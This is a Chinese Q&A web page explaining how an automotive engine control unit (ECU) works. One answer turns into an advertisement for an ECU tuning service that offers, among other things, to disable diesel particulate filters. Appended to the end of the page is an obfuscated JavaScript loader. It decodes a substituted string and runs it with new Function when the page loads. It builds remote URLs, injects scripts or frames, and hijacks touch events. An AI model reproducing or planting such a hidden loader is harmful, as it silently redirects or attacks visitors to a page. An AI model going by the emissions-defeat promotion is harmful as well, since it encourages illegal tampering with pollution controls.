ECU大致的工作原理是什么?

2025-03-04 07:47:18
推荐回答(3个)
回答1:

ECU(Electronic Control Unit),是汽车发动机电子控制单元的简称。
采用ECU可以显著改善发动机的工作性能,提高燃烧效率,降低尾气排放污染。
大致原理就是通过安装在不同部位的传感器,检测发动机的工作状况,包括发动机转速、曲轴位置、排气温度、排气氧含量等参数,并将这些信号送到专用微处理器,经过运算处理后发出控制信号,适时调整发动的点火时间以及供油量。达到一个预期的最佳效果。

回答2:

简单说就是电脑的CPU,像人的大脑,接收信号,处理信号,发出指令。

回答3:

ECU就是一台在一块芯片上集成了微处理器(CPU),存储器和输入/输出接口单元的微机。其核心组件是CPU。ECU将输入信号转化为数字形式,根据存储的参考数据进行对比加工,计算出输出值,输出信号再经功率放大去控制若干个调节伺服元件,例如继电器和开关等。因此,ECU实际上是一个“电子控制单元”(Electronic Control Unit),它是由输入电路、微机、A/D转换器和输出电路等三部分组成。
输入电路接受传感器和其它装置输入的信号,对信号进行过滤处理和放大,然后转换成一定伏特的输入电平。从传感器送到ECU输入电路的信号既有模拟信号也有数字信号,输入电路中的模/数转换器可以将模拟信号转换为数字信号,然后传递给微机。微机将上述已经预处理过的信号进行运算处理,并将处理数据送至输出电路。输出电路将数字信息的功率放大,有些还要还原为模拟信号,使其驱动被控的调节伺服元件工作。
(1)输入回路
从传感器输入的信号首先进入输入回路,在输入回路里,对输入信号进行处理,需要除去杂波并把正弦波转变成矩形波,然后在转换成输入电平。
输入的信号都要经过输入回路处理才能变成所需要的脉冲信号。例如,电磁式曲轴位置传感器输入的信号,它的信号是随发动机转速变化的,转速升高,它输出的电压幅值增大。转速降低,输出的电压幅值减小。在发动机低速运转时,电压信号就很弱。为了使信号能输入电脑并可以采用,必须对输入回路的信号进行整形处理,将信号放大并把波形变成整齐的矩形方波。另外,由于曲轴位置传感器的齿盘只有几十个齿,这些齿数产生的几十个脉冲代表曲轴每转的步数。误差太大。为保持精度,转角的步长设定为0.5 °(或1º),在输入回路中设置一个转角脉冲发生器,把齿盘上产生的几十个脉冲变为电信号,齿盘每转产生720个脉冲(或360个脉冲),这样就代表曲轴转角为0.5 °(或1º)。
(2)A/D转换器
传感器输入的信号有模拟信号,如叶片式空气流量计和水温传感器输出的信号等。另一种是数字信号,如开关型节气门位置传感器和部分转速传感器输出的信号等。信号种类不同,输入ECU内的处理方法也不一样。对于数字信号可以直接输入电脑,模拟信号则需要由A/D转换器转换成数字信号后再输入电脑。例如,如空气流量计输入的0-5V模拟信号,当输入电平与A/D转换器转换成数字信号后,才可以出入电脑。有的传感器输出的信号是脉冲信号,这些信号经输入回路处理后,可直接进入电脑。
(3)微机
微机是ECU的核心部件,它把各种传感器输入的信号用内存程序和数据进行处理。并把处理结果如喷油信号、点火信号等输入输出的回路。
电脑主要有中央处理器CPU、存储器和输入/输出(I/O)接口等部分组成。
Ⅰ CPU: 主要进行数据运算和逻辑运算、暂时存储数据、按程序执行个装置之间的信号传递以及用于控制任务。
Ⅱ 存储器: 是一种保存数据和存取数据功能的装置,分为随机存储器和只读存储器。随机存储器RAM可随时存取任何信息,只读存储器ROM只能对已存入的信息进行读取。
ⅰ:RAM只具有暂时存储信息的作用,当电源切断时,所有存入RAM的数据均消失。发动机运行过程中,存入RAM的数据,如故障码、空燃比学习修正值等。
ⅱ:对于ROM,只能进行读出操作,写入操作是在脱机时事先进行写入的。ROM内容不能由计算机改变,也不会因断电而丢失,可以永久保存已写入的数据。例如,电控系统中一系列控制程序、喷油脉谱图、点火脉谱图等,这些信息资料已事先由制造厂家存入,内容不能改变,只能读出。
随着电脑的发展,又相继开发了PROM、EPROM和EEPROM等几种新型只读存储器。
ⅲ:PROM:为可编程只读存储器,工作性能和ROM一样。它和ROM一样只能进行一次编程,使用时对其信息不能改变。这种存储器制成的芯片,可从电脑上取下,当需要对发动机底盘进行组合更换时,可从电脑上更换新的芯片,是可适用于不同车型的发动机电脑芯片。
ⅳ:EPROM:为可擦除可编程只读存储器。它与PROM相似,但EPROM芯片顶部有一窗口,其内部存储的程序可用紫外线照射的方法擦除,然后用编程器存入新的程序。重新编程后,须将窗口封好,防止被日光消除。
ⅴ:EEPROM:为电力擦除可编程只读存储器,它与EPROM相似,但它不能从电脑上取下。在通电时,可进行擦除和编程。它用在使用过程中进行擦除和修改数据的存储器,如汽车里程表数据的存储,常用这种存储器。
后三种存储器,当切断电源时,存储的信息不会丢失。
Ⅲ 输入/输出接口(I/O): 是CPU与输入装置、输出装置间进行信息交流的控制电路。它在电脑中起着数据缓冲、电平匹配、时序匹配等多种作用。
在电脑系统中,中央处理器、存储器和输入/输出接口是通过总线连接起来的,信息的交换都是通过总线进行的。
(4)输出回路
输出回路是电脑与执行器之间联系的装置。电脑输出的数字信号的电流很小,他不能直接驱动执行器工作,需要通过输出回路把数字信号转换成可以驱动执行器工作的输出信号。例如,在燃油喷射电路中,采用三级管的导通和截止,为喷油器提供一定宽度的脉冲信号。在顺序燃油喷射输出回路中,还应有缸序判别与喷油定时两个功能,以便对喷油量和喷油正时精确控制。
(5) 各组件之间的相互关系
发动机在启动、怠速、加减速等时,各传感器的信息首先进入输入回路,对信号进行处理。如果是数字信号,则按CPU的安排,直接经I/O接口进入电脑;如果是模拟信号,则须经 A/D转换器转换成数字信号后,才经I/O接口进入电脑。大多数信息暂时存储在RAM中,在根据指令从RAM送入CPU。接着,把存储在ROM(或PROM)中的设定数据引入CPU,使从传感器来的信息与之比较,运算后做出决定并发出指令信号。指令信号经I/O接口的输出回路 ,控制执行器动作。

至于升级ECU强烈建议升级全国独家可以为每台车个性化一对一调校五种或者以上动力模式的德国Remaps,全国连锁服务,质保三年!
德国Remaps总部位于世界最著名的汽车改装圣地--德国Essen,专业为汽车发动机管理系统提供软件解决方案,以及修复原厂程序漏洞等服务。同时为全世界包括中国在内的各种车型提供ECU调校服务,也是国外某些ECU调校品牌提OEM调校服务,换句话说,国外部分ECU调校公司是经过德国Remaps总部提供ECU调校服的。
德国Remaps在德国拥有十五年丰富的ECU调校经验,针对各种ECU进行一对一个性化调校。无论是汽油车,柴油车还是农业用车等,都可以根据客户的不同要求提供动力调校,省油调校以及改装硬件后的个性化调校等。

每个汽车发动机ECU中的中主要控制程序,都以一个2D或者3D的MAP形式存在,MAP也就是ECU工作曲线图。因为世界各地汽油油品,气压,温度,以及发动机硬件差异等因素,原车出厂时在不同国家有着不同的调校,因此原车程序只是一个适应性最广的程序,而并非最完美的程序。根据客户意愿重新调校工作曲线图,在不伤原车硬件的前提下,根据各地汽油品品质特性,通过个性化一对一的调校,优化ECU各种参数,使发动机得到更完美的空燃比,从而燃烧更加充分,获得更多动力输出。在充分燃烧的同时也让废气排放相对原车更加少,积碳也相对减少,因此也延长了发动机的寿命。换种方式可以说升级ECU是让发动机恢复应有的动力水平。当然也通过专业个性化调校,也可以个性化地偏向运动的调校,让发动机动力输出更为激进,比如德国Remaps的赛车模式以及第三阶段就属于激进型调校。在国外ECU调校,ECU升级,ECU改装,刷ECU也叫做 Remaps,或者Remapping。

广州POWER-CHIP是德国Remaps在国内独家总代理。全国独家可为每台车个性化调校五种或以上的动力模式,在全国拥有多家连锁加盟店,所有升级过德国Remaps的ECU均可以享受7天内不满意恢复原车程序后退还全部改装费用服务,并享有质保三年的服务。
德国Remaps个性化调校五种动力模式包括:
具体五种模式分别为:

1:ECO TUNING 省油模式,针对客户的要求将程序按照最省油的模式调校,动力提升5% ;

2:第一阶段程序 STAGE 1,综合性最好的程序,可以兼容93汽油,动力与油耗兼顾;

3:第二阶段程序 STAGE 2,根据97号汽油特性调校,比较偏向动力的调校,适合喜欢加速推背强的爱车人士,适当配合进气排气改装,会让第二阶段程序发挥得更好;

4:赛车程序 RACING TUNING : 必须配合全部进气,排气全段直排,该程序非常暴力,适合在赛道或喜欢极速的爱车人士,但必须配合最基本的进气排气,否则赛车程序无法真正发挥;

5:第三阶段 STAGE 3:需要对全车进行强化,例如锻造活塞,高凸轮轴,强化缸体,锻造曲轴......一系列的强化,方可以让您的爱车可以在该程序下安全运行,否则原车硬件无法承受强大的功率和扭矩;

6:在以上几种模式基础上再按照每位车主不同的要求个性化调校;

7:可为个别改装爱好者或汽车厂家度身定做程序,通过修改ECU内部数据取消某些不必要的功能,例如目前进口柴油车上的DPF 功能......改装高凸轮轴后,或改装机械增压套件以及废气涡轮套件后,德国Remaps都可以在原车程序为你个性化调校一个完美改装程序。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();